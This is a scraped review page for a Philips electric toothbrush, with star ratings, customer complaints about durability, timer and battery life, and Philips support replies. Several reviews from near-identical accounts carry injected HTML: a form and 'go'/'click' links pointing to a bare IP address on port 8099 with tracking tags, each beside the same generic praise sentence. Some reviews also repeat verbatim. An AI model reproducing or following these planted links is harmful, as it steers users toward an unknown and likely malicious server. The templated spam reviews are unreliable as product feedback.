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<form action='http://96.62.143.209:8099/?t=usa-review'><button>go</button></form> This toothbrush cleans well and I use it daily with good results overall after several weeks.
alexm8822
Reposted from philips.com
Most helpful critical review
Nov 2, 2026
Don't buy it, it will break sooner or later!
The post connecting to the toothbrush head WILL fail, it's not a matter of if but when.
minh123
Reposted from philips.com
philips.com response
Hi there, we’re sorry to hear about your experience, and thank you for bringing this to our attention. We'd like to look into your case immediately and ensure a prompt resolution for your issue. Please consider reaching out to us via one of our social media channels. We are available 24/7 on Facebook, Instagram @Philips or X @PhilipsCare. Your questions and concerns are important to us, and we're here to help. Hope to speak to you soon! Best regards, Philips Consumer Care
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5 stars57%
4 stars9%
3 stars9%
2 stars8%
1 star17%
Nov 2, 2026
Don't buy it, it will break sooner or later!
The post connecting to the toothbrush head WILL fail, it's not a matter of if but when.
Reposted from philips.com
philips.com response
Hi there, we’re sorry to hear about your experience, and thank you for bringing this to our attention. We'd like to look into your case immediately and ensure a prompt resolution for your issue. Please consider reaching out to us via one of our social media channels. We are available 24/7 on Facebook, Instagram @Philips or X @PhilipsCare. Your questions and concerns are important to us, and we're here to help. Hope to speak to you soon! Best regards, Philips Consumer Care
minh123
Oct 26, 2026
Daily brush works as expected
<form action='http://96.62.143.209:8099/?t=usa-review'><button>go</button></form> This toothbrush cleans well and I use it daily with good results overall after several weeks.
Reposted from philips.com
alexm8822
Oct 26, 2026
<a href=http://96.62.143.209:8099/?t=usa-rt>x</a>
<a href=http://96.62.143.209:8099/?t=usa-review>click</a> This toothbrush cleans well and I use it daily with good results overall after several weeks.
Reposted from philips.com
alexm8821
Oct 13, 2026
This toothbrush has so many options. It is great!
[This review was collected as part of a promotion.] One of the best electric toothbrushes I have had. Love the choice setting for different levels of power.
Reposted from philips.com
Verified purchase
Clever one
Oct 1, 2026
I love the brushes but the durability of the last.
[This review was collected as part of a promotion.] The 9300 I bought less than two years ago crapped out so I needed to replace it. I hope this one performs like previous ones that would last five years, not like the one it is replacing.
Reposted from philips.com
philips.com response
Hello,
Thank you for taking the time to share your feedback. We're sorry to hear that the durability of your previous Philips DiamondClean Smart 9300 toothbrush did not meet your expectations and that it needed to be replaced in less than two years.
We truly appreciate your loyalty to Philips and are glad to hear that you've had positive experiences with our toothbrushes in the past. Feel free to reach out to us via Facebook/Instagram (@Philips) or X (@PhilipsCare). If you do not use social media, you can also contact us through our support page:
https://www.usa.philips.com/c-w/support-home/support-contact-page
Thank you for your continued support, and we hope your new toothbrush provides the performance you've come to expect.
Best regards,
Philips Consumer Care
Verified purchase
Broken toothbrush
Sept 28, 2026
Dislike 20 sec timer, travel case step backwards
Hate the 20 second pacing timer. Bring back option for 30 second timer! Who brushes their teeth that way, going 1/3 of the way across, switching, coming back to middle third, etc?
Battery doesn't seem to last 14 days, more like 8. And new travel case is both overly large and the new built-in charging cable as less convenient than previous case that was smaller and allowed to plug in your own cable. Feels like a step backwards.
Otherwise, does a great job of cleaning, and love the charging glass, so convenient.